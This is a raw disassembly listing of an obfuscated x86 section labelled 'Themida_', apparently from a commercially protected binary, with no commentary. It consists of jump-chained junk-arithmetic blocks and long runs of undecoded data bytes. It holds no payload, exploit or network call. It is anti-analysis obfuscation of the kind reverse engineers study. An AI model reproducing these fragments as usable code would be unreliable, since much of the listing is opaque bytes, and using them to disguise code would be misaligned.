		dd 42474FFh, 24048F5Fh,	0E924248Bh, 0FFFF3980h,	5B0E68h
		dd 240C8900h, 0FECF53E9h, 24048FFFh, 64FE95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56F582:				; CODE XREF: Themida_:0056957Dj
		pop	eax
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_55E04F
; ---------------------------------------------------------------------------


loc_56F597:				; CODE XREF: Themida_:00566206j
		add	[esp+8], edi
		pop	edi
		pop	esi
		pop	dword ptr [edi+40h]
		push	edx
		push	eax
		mov	eax, 408A0EFEh
		mov	edx, 167230A9h
		jmp	loc_5621D4
; ---------------------------------------------------------------------------
		db 68h,	0CFh, 26h
		dd 34890000h, 40BA5224h, 53054615h, 0FF9E0CE9h,	35F381FFh
		dd 81027A6Fh, 676D3DEBh, 5BDE0133h, 4EE81h, 34870000h
		dd 8F545C24h, 52552404h, 0DC5234BAh, 0BC2810Bh,	817E2616h
		dd 0FD97C5C2h, 5A5D5275h, 4246C01h, 0CD0E9h, 52A7BB00h
		dd 0E3817358h, 71543994h, 81EBD143h, 0F2FF43C3h, 25E95130h
		dd 0BFFFFFE1h, 4, 0E95FF929h, 0FFFEFFACh
; ---------------------------------------------------------------------------


loc_56F628:				; CODE XREF: Themida_:0056D68Dj
		mov	[esp], ebp
		push	edx
		mov	edx, 33107EDAh
		sub	esp, 4
		mov	[esp], edx
		not	dword ptr [esp]
		pop	edx
		shr	edx, 3
		push	eax
		mov	eax, 1A730851h
		or	edx, eax
		jmp	loc_55F4B6
; ---------------------------------------------------------------------------


loc_56F64B:				; CODE XREF: Themida_:00563F94j
		mov	[esp], ebx
		mov	ebx, 38874F73h
		mov	edx, ebx
		pop	ebx
		and	edx, 5D7867ABh
		sub	edx, 0FFFFFFFFh
		sub	edx, 0FFFFFFFFh
		push	ecx
		mov	ecx, 6134357Eh
		xor	ecx, 14FE724Fh
		add	edx, ecx
		pop	ecx
		sub	edx, 8CCA8E56h
		mov	ebp, edx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		and	eax, ebp
		push	dword ptr [esp]
		pop	ebp
		jmp	loc_56C2CC
; ---------------------------------------------------------------------------
		db 81h
		dd 5E2065F2h, 2E2C162h,	34BAC281h, 0C28106B5h, 71760937h
		dd 3969F281h, 0D101B3B4h, 6BC1815Ah, 81F89325h,	1570C2C2h
		dd 81CA014Fh, 1570C2EAh, 240C8B4Fh, 55E68956h, 4BDh, 0E9EE0100h
		dd 0FFFEE5DCh, 2C3AC681h, 565F29B8h, 42474FFh, 8324348Bh
		dd 48F04C4h, 0E9525C24h, 0FFFF5224h, 33241431h,	248B2414h
		dd 0F1AEE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56F6FA:				; CODE XREF: Themida_:0055D1E6j
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		jmp	loc_56602E
; ---------------------------------------------------------------------------


loc_56F70D:				; CODE XREF: Themida_:0055FBB9j
		push	eax
		mov	al, 0C0h
		not	al
		not	al
		or	al, 98h
		sub	al, 6
		and	bl, al
		pop	eax
		sub	bl, 69h
		xor	dh, bl
		jmp	loc_55DCA3
; ---------------------------------------------------------------------------
		db 5Ah,	1, 0F9h
		dd 21CE981h, 0E95F5D16h, 0FFFF6C6Eh, 4C781h, 3C870000h
		dd 0EC815C24h, 4, 89242C89h, 4C581E5h, 81000000h, 4EDh
		dd 242C8700h, 0FF464DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56F75D:				; CODE XREF: Themida_:0055F793j
		not	eax
		and	eax, 3479359Fh
		jmp	loc_56F3C4
; ---------------------------------------------------------------------------
		db 56h,	0BEh, 8Dh
		dd 815F2877h, 0D259EAE6h, 4AF6813Ch, 0E90C855Eh, 0FFFF77F2h
; ---------------------------------------------------------------------------


loc_56F780:				; CODE XREF: Themida_:00567DBFj
		add	eax, 53EC0AB9h
		sub	eax, ebx
		sub	eax, 53EC0AB9h
		add	eax, 2E1404BDh
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		push	edi
		push	esp
		jmp	loc_5678D1
; ---------------------------------------------------------------------------
		db 80h,	0F3h, 44h
		dd 0EC835366h, 24048904h, 0B446B551h, 0AAEC804Fh, 0FF8DD6E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56F7B9:				; CODE XREF: Themida_:0055CC37j
		mov	[esp], esi
		push	7C86h
		jmp	loc_56B4CF
; ---------------------------------------------------------------------------
		dw 0F740h
		dd 8E8C1D0h, 0FF64E8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56F7D1:				; CODE XREF: Themida_:0055F804j
		add	edi, 4
		push	6B64h
		mov	[esp], ecx
		jmp	loc_5675FF
; ---------------------------------------------------------------------------


loc_56F7E4:				; CODE XREF: Themida_:0055CD02j
		xor	dh, cl
		pop	cx
		sub	dh, 0FFh
		and	dh, 0CCh
		jmp	loc_55E2AE
; ---------------------------------------------------------------------------
		db 0B9h
		dd 444B6409h, 5003E1C1h, 0E16C98B8h, 2DBA522Ah,	31189459h
		dd 0C3055AD0h, 812E5712h, 7F1B12E9h, 0EA76E979h, 3166FFFFh
		dd 3366240Ch, 53E9240Ch, 5DFFFFC1h, 1931685Dh, 34890000h
		dd 6B16BE24h, 87564359h, 0D0F72404h, 0FEF665E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56F841:				; CODE XREF: Themida_:00568C27j
		add	ebp, 1D4924A8h
		add	ebp, ecx
		sub	ebp, 1D4924A8h
		pop	ecx
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		push	ebp
		mov	ebp, 0BE81578h
		jmp	loc_56B89B
; ---------------------------------------------------------------------------
		db 1, 0F9h, 5Fh
		dd 5102C183h, 42474FFh,	83240C8Bh, 48F04C4h, 0C015E924h
		dd 8CBFFFFFh, 0E93A0257h, 0FFFEF729h, 7352685Ch, 49E90000h
		dd 5AFFFFADh, 80B9C380h, 0C3805AEBh, 60D668CDh,	0C890000h
		dd 0C8E95324h, 0FFFFFF2Bh, 34FF2434h, 0C4835F24h, 0E3895304h
		dd 4C381h, 0C3830000h, 0F2DAE904h, 0BA52FFFEh, 4, 64E9D629h
		dd 81FFFF87h, 4C4h, 0ACC28100h,	15E804Bh, 0ACEA81F2h, 8B5E804Bh
		dd 0C4812434h, 4, 5C241487h, 0FFFBD8E9h, 93ED81FFh, 816DAF4Dh
		dd 0AF12BAF5h, 0CECD817Dh, 8115B428h, 58B6C2C5h, 5DE98905h
		dd 0FF557DE9h, 4EE81FFh, 0E9000000h, 0FFFF1A32h
; ---------------------------------------------------------------------------


loc_56F924:				; CODE XREF: Themida_:0056B82Ej
		push	ecx
		mov	ecx, 30343963h
		jmp	loc_56EEFD
; ---------------------------------------------------------------------------


loc_56F92F:				; CODE XREF: Themida_:00570B47j
		sub	esi, 4901113Fh
		jmp	loc_570961
; ---------------------------------------------------------------------------
		dw 0C681h
		dd 0B705AA0Bh, 0FF5EF731h, 0A9E92434h
		db 0F0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56F94B:				; CODE XREF: Themida_:0056A7D3j
		add	esp, 4
		add	esi, 4
		jmp	loc_56BBA8
; ---------------------------------------------------------------------------
		dd 57A7E947h, 0C381FFFFh, 6135650Eh, 0E952FB01h, 0FFFFD38Eh
		dd 565EF301h, 56E78957h, 0E63753BEh, 3EEC12Ah, 8101C683h
		dd 0A26EC8F6h, 0E1C68147h, 1BD0157h, 0EF815EF7h, 4, 0FF5D54E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56F99D:				; CODE XREF: Themida_:0056995Ej
		add	ebp, ecx
		pop	ecx
		jmp	loc_56D920
; ---------------------------------------------------------------------------
aZLI4Ichu	db '┤<$▀$$┴4$┴ФhЦ',0
		align 4
		dd 243C8900h, 0FF516BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56F9BD:				; CODE XREF: Themida_:0056E31Bj
		xor	ebp, edi
		pop	edi
		jmp	loc_56B5B5
; ---------------------------------------------------------------------------
		db 81h,	0F2h, 63h
		dd 143E87Bh, 0FD53E9D1h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56F9D2:				; CODE XREF: Themida_:0055D356j
		pop	ebp
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_570C0F
; ---------------------------------------------------------------------------
		db 59h,	81h, 0C1h
		dd 1257263h, 6859CF01h,	6999h, 0B8240489h, 2, 34FFC701h
		dd 3985E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56FA02:				; CODE XREF: Themida_:005696D9j
		or	ebx, eax
		mov	eax, [esp]
		jmp	loc_55DDCD
; ---------------------------------------------------------------------------
		dd 405h, 4E88300h, 0E9240487h, 0FFFEE838h, 426685Eh, 1C890000h
		dd 0BE565224h, 28120BE4h, 120BE0BAh, 5EF23128h,	421268h
		dd 0D8BCE900h, 595FFFFEh, 0E7895753h, 4C781h, 0EF830000h
		dd 243C8704h, 0FF0B7DE9h, 81E689FFh, 4C6h, 4C68100h, 87000000h
		dd 0E95C2434h, 0FFFF1EA3h, 2474FF57h, 2EE4E904h, 0EA01FFFFh
		dd 4E78C281h, 9AE9512Ah
		db 0E0h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_56FA83:				; CODE XREF: Themida_:00563CF8j
		add	ebp, 4
		sub	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_56E0C9
; ---------------------------------------------------------------------------
		db 89h,	14h, 24h
aPha		db 'Ph²$',0
		align 2
		dw 3489h
		dd 5E9EBE24h, 0D6F70AD5h, 0FF6911E9h, 0EBD15FFFh, 0B98EC381h
		dd 0CFE9BBACh
		db 6Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56FACB:				; CODE XREF: Themida_:00569A43j
		push	dword ptr [esp]
		jmp	loc_55D6B6
; ---------------------------------------------------------------------------
		db 0F6h
		dd 1C8B2414h, 0E9545624h, 0FFFF8248h
; ---------------------------------------------------------------------------


loc_56FAE0:				; CODE XREF: Themida_:005678E0j
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	edi
		push	5850h
		jmp	loc_55F6F6
; ---------------------------------------------------------------------------
		dw 0E1C1h
		dd 3BBA5207h, 8139530Dh, 363DEBEAh, 0F6E2811Bh,	0E913252Bh
		dd 0FFFFF4E5h, 2C8BE931h, 4C48124h, 0C1000000h,	496804E9h
		dd 89000062h, 1CF7240Ch, 0A6E95924h
		db 0CAh, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_56FB2B:				; CODE XREF: Themida_:0055EE3Dj
		push	dword ptr [esp]
		pop	eax
		push	ecx
		push	esp
		pop	ecx
		push	eax
		push	edi
		mov	edi, 59E45481h
		xor	edi, 56B03DCFh
		jmp	loc_55DA56
; ---------------------------------------------------------------------------
		dd 74D3EB81h, 0EB817286h, 508C593Eh, 0C381EB01h, 508C593Eh
		dd 74D3C381h, 0C3817286h, 1C591513h, 203A685Dh,	34890000h
		dd 26824h, 815E0000h, 0C039AC3h, 54FFE905h, 0E589FFFFh
		dd 4C581h, 0C5830000h, 0DFE8E904h, 0D801FFFFh, 4EC81h
		dd 23E90000h
		db 9, 2	dup(0FFh)
; ---------------------------------------------------------------------------


loc_56FB9B:				; CODE XREF: Themida_:00565D60j
		push	ebp
		jmp	loc_56A3F1
; ---------------------------------------------------------------------------
		db 53h,	0B3h, 0E9h
		dd 0C380CBFEh, 7BC5808Bh, 0ED80DD28h, 2434FF7Bh, 81241C8Bh
		dd 4C4h, 4C48100h, 80000000h, 0EB2880EBh, 0E980C380h, 0FFFF8423h
; ---------------------------------------------------------------------------


loc_56FBD0:				; CODE XREF: Themida_:00566AC5j
		shr	eax, 2
		shl	eax, 7
		shr	eax, 5
		xor	eax, 32E03CCCh
		mov	edi, eax
		mov	eax, [esp]
		add	esp, 4
		add	edi, 7F7B41BCh
		jmp	loc_56E1A1
; ---------------------------------------------------------------------------


loc_56FBF4:				; CODE XREF: Themida_:0056454Ej
		add	esp, 4
		pop	ecx
		sub	edi, 12B27BD0h
		jmp	loc_56FD30
; ---------------------------------------------------------------------------


loc_56FC03:				; CODE XREF: Themida_:0055D4BAj
		mov	[esp], edi
		mov	edi, 3EC31138h
		not	edi
		jmp	loc_563A8A
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 24048B24h, 71F468h, 24048900h, 0FF00A8E9h, 75E95EFFh
		dd 81FFFF2Ah, 4ECh, 242C8900h, 0FF9684E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56FC39:				; CODE XREF: Themida_:005709D5j
		mov	edx, edi
		pop	edi
		add	eax, edx
		pop	edx
		jmp	loc_56C4D1
; ---------------------------------------------------------------------------
		dd 0C181D1F7h, 1CBB8275h, 5159CF31h, 97DAE955h,	34FFFFFFh
		dd 89515824h, 4BD55E1h,	1000000h, 2434FFE9h, 4C4815Dh
		dd 83000000h, 0C8704C1h, 54575C24h, 53243C8Bh, 0C3815B54h
		dd 4, 0FF90EEE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56FC89:				; CODE XREF: Themida_:00568D90j
		add	edx, 60E91860h
		add	edx, 2DD3045h
		xor	edx, 93B0C134h
		add	esi, edx
		jmp	loc_55DB5A
; ---------------------------------------------------------------------------
		dw 895Ch
		dd 5B54241Ch, 6771BF57h, 6876E5h, 0E9000000h, 0FFFF3288h
		dd 0D2F7D687h, 0EEC1D687h, 87BB5307h, 50531745h, 663E953h
		dd 0C4830000h, 68555004h, 4E4E6CAAh, 83242C8Bh,	0ED8104C4h
		dd 69A52C32h, 4AECF581h, 52533C14h, 0BE3DE568h,	0EAC15A45h
		dd 8FA7E903h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56FCFA:				; CODE XREF: Themida_:00566D7Fj
		mov	[esp], ebx
		push	dword ptr [esp]
		jmp	loc_561F52
; ---------------------------------------------------------------------------
		db 2Dh,	70h, 7Ch
		dd 0C82927B0h, 0FF1920E9h, 2414F7FFh, 0FFB5DFE9h, 4895CFFh
		dd 4B824h, 23E90000h, 0B7FFFED9h, 0E9FD2877h, 0FFFF1CFCh
; ---------------------------------------------------------------------------


loc_56FD30:				; CODE XREF: Themida_:0056FBFEj
		sub	ebp, 25A13DA9h
		sub	ebp, edi
		add	ebp, 25A13DA9h
		pop	edi
		jmp	loc_56B0E8
; ---------------------------------------------------------------------------


loc_56FD44:				; CODE XREF: Themida_:0056E64Bj
		mov	ebp, ebx
		jmp	loc_568320
; ---------------------------------------------------------------------------
		db 81h
		dd 4C5h, 242C8700h, 8724248Bh, 98E9242Ch
		db 0F5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56FD5F:				; CODE XREF: Themida_:0056867Ej
		not	ebx
		xor	ebx, 11760F8h
		shl	ebx, 4
		add	ebx, 46C62E44h
		sub	eax, ebx
		pop	ebx
		push	eax
		jmp	loc_56790D
; ---------------------------------------------------------------------------
		db 81h,	0EAh, 4
		dd 87000000h, 895C2414h, 0EC83242Ch, 24248904h,	4240481h
		dd 8B000000h, 0C481242Ch, 4, 7FF0BA52h,	0EAC11DD3h, 0EE89E906h
		dd 4E46FFFFh, 21AC681h,	0F3892C3Ch, 8BDD295Eh, 0C481241Ch
		dd 4, 5CA7C581h, 0B8501A5Bh, 41220E19h,	0FFDA5AE9h, 24248BFFh
		dd 0FEC6F3E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56FDD9:				; CODE XREF: Themida_:00560126j
		mov	ebx, [esp]
		add	esp, 4
		mov	bl, cl
		jmp	loc_55EE93
; ---------------------------------------------------------------------------


loc_56FDE6:				; CODE XREF: Themida_:00567E4Fj
		add	bl, 0C6h
		add	bl, dh
		sub	bl, 0C6h
		jmp	loc_56C069
; ---------------------------------------------------------------------------
		db 87h
		dd 335C241Ch, 0C31240Ch, 240C3324h, 0FF3C20E9h,	9C5066FFh
		dd 0FEC6BFE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56FE0D:				; CODE XREF: Themida_:0055CFF3j
		mov	edx, [esp]
		jmp	loc_56AF59
; ---------------------------------------------------------------------------


loc_56FE15:				; CODE XREF: Themida_:00562BA3j
		mov	[esp], esi
		mov	esi, 40h
		and	ecx, esi
		jmp	loc_56C8F4
; ---------------------------------------------------------------------------
		dd 270DC581h, 0C5811945h, 0B76658Bh, 0ED81CD01h, 0B76658Bh
		dd 270DED81h, 74E91945h
		db 0DAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56FE43:				; CODE XREF: Themida_:005601F7j
		push	25610522h
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		or	esi, 122A6F7Eh
		jmp	loc_56B779
; ---------------------------------------------------------------------------


loc_56FE5D:				; CODE XREF: Themida_:005634BEj
		pop	ecx
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], edi
		mov	edi, 7CD46A2Eh
		jmp	loc_55DBC3
; ---------------------------------------------------------------------------


loc_56FE75:				; CODE XREF: Themida_:0055E336j
		push	7F12h
		jmp	loc_562556
; ---------------------------------------------------------------------------


loc_56FE7F:				; CODE XREF: Themida_:0056BC24j
		inc	edi
		add	edi, 1AA4D5FFh
		add	ebx, edi
		pop	edi
		xchg	ebx, [esp]
		pop	esp
		push	ebx
		mov	ebx, esp
		jmp	loc_57011E
; ---------------------------------------------------------------------------


loc_56FE95:				; CODE XREF: Themida_:0056B0B0j
		add	edx, 4
		jmp	loc_56404C
; ---------------------------------------------------------------------------
		dd 83243C89h, 348904ECh, 51FFBE24h, 0F78952BDh,	11B8505Eh
		dd 314B4B0Ch, 0C3E958C7h
		db 0DBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56FEBF:				; CODE XREF: Themida_:0056A3F8j
		pop	ebp
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		pop	esp
		and	eax, edx
		jmp	loc_56D810
; ---------------------------------------------------------------------------


loc_56FED1:				; CODE XREF: Themida_:0056D69Ej
		mov	ah, 2Ch
		sub	bl, ah
		pop	ax
		push	dx
		mov	dh, 19h
		shl	dh, 6
		push	eax
		mov	al, 7Dh
		shr	al, 3
		dec	al
		xor	al, 6Ah
		not	al
		jmp	loc_563D08
; ---------------------------------------------------------------------------
		dd offset dword_457444+3224h
		align 4
		dd 0BF243C89h, 4, 0E95FFB01h, 0FFFF1703h, 242C895Ch, 0C581E589h
		dd 4, 0E904C583h, 0FFFF9C5Ch, 51505E54h, 8C5A3B68h, 0C981593Eh
		dd 689252A4h, 23DDE981h, 0C88900C7h, 5F642559h,	5A257EC2h
		dd 356ABA2Dh, 5B9323D8h, 0E9D8F7h, 8BFFFF84h, 95E9240Ch
		dd 0BAFFFF74h, 4, 148BD601h, 4C48324h, 4EC81h, 3C890000h
		dd 69706824h, 815F4DACh, 0C013EFF7h, 51F78132h,	0E9150738h
		dd 0EBAh, 2E6C146h, 0F0C0C681h,	0F301C669h, 8124348Bh
		dd 4C4h, 4685000h, 58000000h, 0FEF5E2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56FF9D:				; CODE XREF: Themida_:0055EFECj
		mov	ecx, 1A7D5B27h
		push	esi
		mov	esi, 66523152h
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 0B755C5Eh
		or	ebp, 18797C71h
		push	eax
		mov	eax, 40BA6D1Fh
		sub	ebp, eax
		pop	eax
		push	eax
		mov	eax, 45CF178Eh
		add	eax, 5D40523Eh
		push	ecx
		mov	ecx, 2C7F42EDh
		add	eax, ecx
		pop	ecx
		jmp	loc_5698A9
; ---------------------------------------------------------------------------


loc_56FFDE:				; CODE XREF: Themida_:0056D2AEj
		push	ebx
		push	645735B8h
		mov	ebx, [esp]
		add	esp, 4
		and	ebx, 4EB62F50h
		xor	ebx, 3C176D5Dh
		dec	ebx
		xor	ebx, 754C7CA4h
		mov	eax, ebx
		pop	ebx
		push	eax
		xchg	ecx, [esp]
		xchg	edi, ecx
		not	edi
		xchg	edi, ecx
		xchg	ecx, [esp]
		push	dword ptr [esp]
		pop	eax
		jmp	loc_55D0C7
; ---------------------------------------------------------------------------


loc_570019:				; CODE XREF: Themida_:0056C0BEj
		xor	edi, 65E15B59h
		jmp	loc_56B4BE
; ---------------------------------------------------------------------------
		dd 18E9F028h, 83FFFFB0h, 0C48104C4h, 4,	0FFE0D8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_570039:				; CODE XREF: Themida_:00564752j
		mov	edi, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_570A52
; ---------------------------------------------------------------------------
		db 89h,	0F9h, 5Fh
		dd 0C8BCF01h, 4C48324h,	33D468h, 241C8900h, 2BBh, 42EF8100h
		dd 29096C77h, 0E78957DFh, 4C781h, 0EF830000h, 243C8704h
		dd 0FFE425E9h, 4055DFFh, 87000000h, 248B2404h, 8FC33124h
		dd 0C436E900h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_570096:				; CODE XREF: Themida_:00569DA4j
		and	eax, edi
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	edi, [esp]
		add	esp, 4
		push	4073h
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		jmp	loc_5690C6
; ---------------------------------------------------------------------------
		db 87h
		dd 895C243Ch, 74FF2414h, 34FF0424h, 24148B24h, 4EC81h
		dd 14890000h, 81E28924h, 4C2h, 4C28300h, 5C241487h, 8F04C483h
		dd 0E95C2404h, 0FFFF7B93h
; ---------------------------------------------------------------------------


loc_5700F4:				; CODE XREF: Themida_:0055E39Bj
		sub	ebp, 2876570Fh
		jmp	loc_5648BD
; ---------------------------------------------------------------------------
		db 5Dh
		dd 4C481h, 0F8E90000h
		db 29h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_57010B:				; CODE XREF: Themida_:00566326j
		mov	esp, [esp]
		push	dword ptr [edi+eax*4]
		push	7A4Ch
		mov	[esp], ecx
		jmp	loc_56E7B1
; ---------------------------------------------------------------------------


loc_57011E:				; CODE XREF: Themida_:0056FE90j
		add	ebx, 4
		add	ebx, 4
		jmp	loc_563F82
; ---------------------------------------------------------------------------


loc_57012F:				; CODE XREF: Themida_:0056AFBDj
		neg	ebp
		shr	ebp, 7
		jmp	loc_561D15
; ---------------------------------------------------------------------------
		db 83h,	0ECh, 4
		dd 0E9241C89h, 0FFFF44C5h, 4C48158h, 81000000h,	0CC7989F7h
		dd 86BA5276h, 3189AC26h, 0FA315AD7h, 8BD3895Fh,	0DAE92414h
		dd 0F7FFFED7h, 243C87D7h, 0FEE17FE9h, 40558FFh,	56000000h
		dd 4BEh, 5EF02900h, 5C240487h, 0FF240489h, 0E9592434h
		dd 0FFFEE7DBh, 8704E983h, 895C240Ch, 0EC812414h, 4, 0E9242489h
		dd 0FFFFCD84h, 8159CD01h, 466A88C5h, 0E9D50155h, 0FFFF8588h
; ---------------------------------------------------------------------------


loc_5701B8:				; CODE XREF: Themida_:00561B22j
		xchg	edi, ecx
		push	ebx
		jmp	loc_55E860
; ---------------------------------------------------------------------------
		dd 5C24048Fh, 0FEEBB0E9h, 0B25266FFh, 0A4B0E998h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5701D2:				; CODE XREF: Themida_:0056B6B6j
		sub	ebx, 0A304D6h
		jmp	loc_5627AE
; ---------------------------------------------------------------------------


loc_5701DD:				; CODE XREF: Themida_:00564D2Dj
		push	ebp
		push	dword ptr [esp+4]
		jmp	loc_55ED28
; ---------------------------------------------------------------------------
		db 0F7h
		dd 81E987D5h, 0E95E83E1h, 0A1BDE901h, 248BFFFFh, 0DF5DE924h
		dd 8159FFFFh, 4C3h, 241C3300h, 33241C31h, 248B241Ch, 0C8BF0F24h
		dd 261068h, 2299E900h, 1935FFFFh, 0E9622A14h, 0FFFF2DC2h
; ---------------------------------------------------------------------------


loc_570228:				; CODE XREF: Themida_:00567D3Dj
		push	ecx
		mov	ecx, 4
		add	edx, ecx
		jmp	loc_562855
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		add	esp, 4
		push	ecx
		mov	ecx, 4E4C5351h
		add	ecx, 49F309Ch
		push	ebx
		push	edi
		mov	edi, 7B76395Dh
		xor	edi, 612256B0h
		jmp	loc_55EF3F
; ---------------------------------------------------------------------------
		dd 8297E951h, 2D5CFFFFh, 42E67128h, 8DE9D001h
		db 0F1h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_57027F:				; CODE XREF: Themida_:0056D990j
		shl	edx, 1
		push	eax
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		mov	[esp], esi
		push	7E4C0968h
		pop	esi
		jmp	loc_566DD8
; ---------------------------------------------------------------------------
		dd 8104C483h, 7958E8C2h, 81FA0154h, 7958E8EAh, 0C6E95F54h
		db 0CAh, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5702BF:				; CODE XREF: Themida_:0055EACAj
		sub	ecx, ebx
		jmp	loc_564F0E
; ---------------------------------------------------------------------------


loc_5702C6:				; CODE XREF: Themida_:005600AEj
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_5616A5
; ---------------------------------------------------------------------------
		db 5Dh,	5Eh, 68h
		dd 6FBh, 0BA241489h, 1B8F529Ch,	0AD68C281h, 0EE81E470h
		dd 62C5642Bh, 499BEE81h, 0D6010D6Dh, 0FF3DCAE9h, 4BA52FFh
		dd 81000000h, 62042444h, 170B00Ch, 57042454h, 0B00C62BFh
		dd 247C2970h, 0FF5A5F08h, 9FE92434h, 50FFFF69h,	42474FFh
		dd 0FF47A4E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_570329:				; CODE XREF: Themida_:00560ADBj
		shr	ecx, 6
		jmp	loc_563B7D
; ---------------------------------------------------------------------------
		db 0BBh, 9Bh, 19h
		dd 98B8379Eh, 0E945951Eh, 0FFFFBD1Eh, 51A1B353h, 0C4E969B5h
		dd 30FFFF7Bh, 9025E9F3h, 2C29FFFFh, 0FC51E924h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_57035A:				; CODE XREF: Themida_:0056208Ej
		and	edx, 47572BCEh
		jmp	loc_55D0CF
; ---------------------------------------------------------------------------
		db 0ACh, 81h, 0ECh
		dd 4, 53241489h, 8859B050h, 0BEE958C3h,	33FFFFBCh, 14312414h
		dd 24143324h, 383C685Ch, 0C890000h, 8F4B924h, 0FF517BD7h
		dd 14F7240Ch, 0E9495924h, 0FFFFCC17h, 870D2EBDh, 7C00E903h
		dd 0ED80FFFFh, 95F58001h, 3E668h, 24148900h, 53EC8850h
		dd 0A9CFE952h, 5657FFFFh, 88685251h, 5A3BB452h,	0FF53A6E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5703D1:				; CODE XREF: Themida_:00561A0Aj
		push	esi
		mov	esi, 627D3FB0h
		jmp	loc_55CFE7
; ---------------------------------------------------------------------------
		dd 9D269168h, 9945E948h, 3C89FFFFh, 18BA5224h, 81262443h
		dd 0A2CCC3EAh, 5AD789FDh, 1F5BB951h, 0CF3159C7h, 0D6C78159h
		dd 0E991A9A1h, 0FFFFE611h, 0E92434FFh, 0FFFF5E7Ah
; ---------------------------------------------------------------------------


loc_570414:				; CODE XREF: Themida_:00567A24j
		or	edi, 52A27D72h
		shl	edi, 7
		inc	edi
		dec	edi
		push	esi
		mov	esi, 77FEFD7Ch
		sub	edi, esi
		mov	esi, [esp]
		add	esp, 4
		add	ecx, edi
		pop	edi
		xchg	ecx, [esp]
		mov	esp, [esp]
		add	ebp, 4
		add	ebp, 2
		xchg	ebp, [esp]
		pop	esp
		div	cx
		sub	esp, 4
		mov	[esp], esi
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		jmp	loc_5602E6
; ---------------------------------------------------------------------------
		dd 38B268h, 243C8900h, 0FEC35AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_57046D:				; CODE XREF: Themida_:0055F7EBj
		add	ecx, ebp
		jmp	loc_5626BD
; ---------------------------------------------------------------------------
		dd 88EB81h, 0F38117DBh,	7D1C77BFh, 583168h, 241C8900h
		dd 241C8B5Fh, 0FF40FDE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_570491:				; CODE XREF: Themida_:005708FEj
		sub	eax, 7A0F49EBh
		add	eax, 7A9528AEh
		jmp	loc_560013
; ---------------------------------------------------------------------------


loc_5704A0:				; CODE XREF: Themida_:0055E4D8j
		xor	ecx, 0BA74827h
		mov	edx, [esp]
		jmp	loc_564652
; ---------------------------------------------------------------------------


loc_5704AE:				; CODE XREF: Themida_:0056E303j
		push	edi
		push	ecx
		mov	ecx, 7D260918h
		xor	ecx, 1EF83DB4h
		or	ecx, 71581BB3h
		inc	ecx
		add	ecx, 95ED193Fh
		mov	edi, ecx
		pop	ecx
		sub	edx, edi
		pop	edi
		add	edx, ecx
		add	edx, 9CB58FFh
		add	edx, 1D7F313Bh
		jmp	loc_56B83C
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 0Ch
		dd 0E6895624h, 4C681h, 80E90000h, 81FFFFA5h, 1C21BDC6h
		dd 5EF32959h, 0FF6EEEE9h, 0C5E950FFh, 5FFFF81h,	6B5C03B3h
		dd 84E9E829h, 56FFFF9Ah, 69C5BB53h, 0D3F76A48h,	75D6C381h
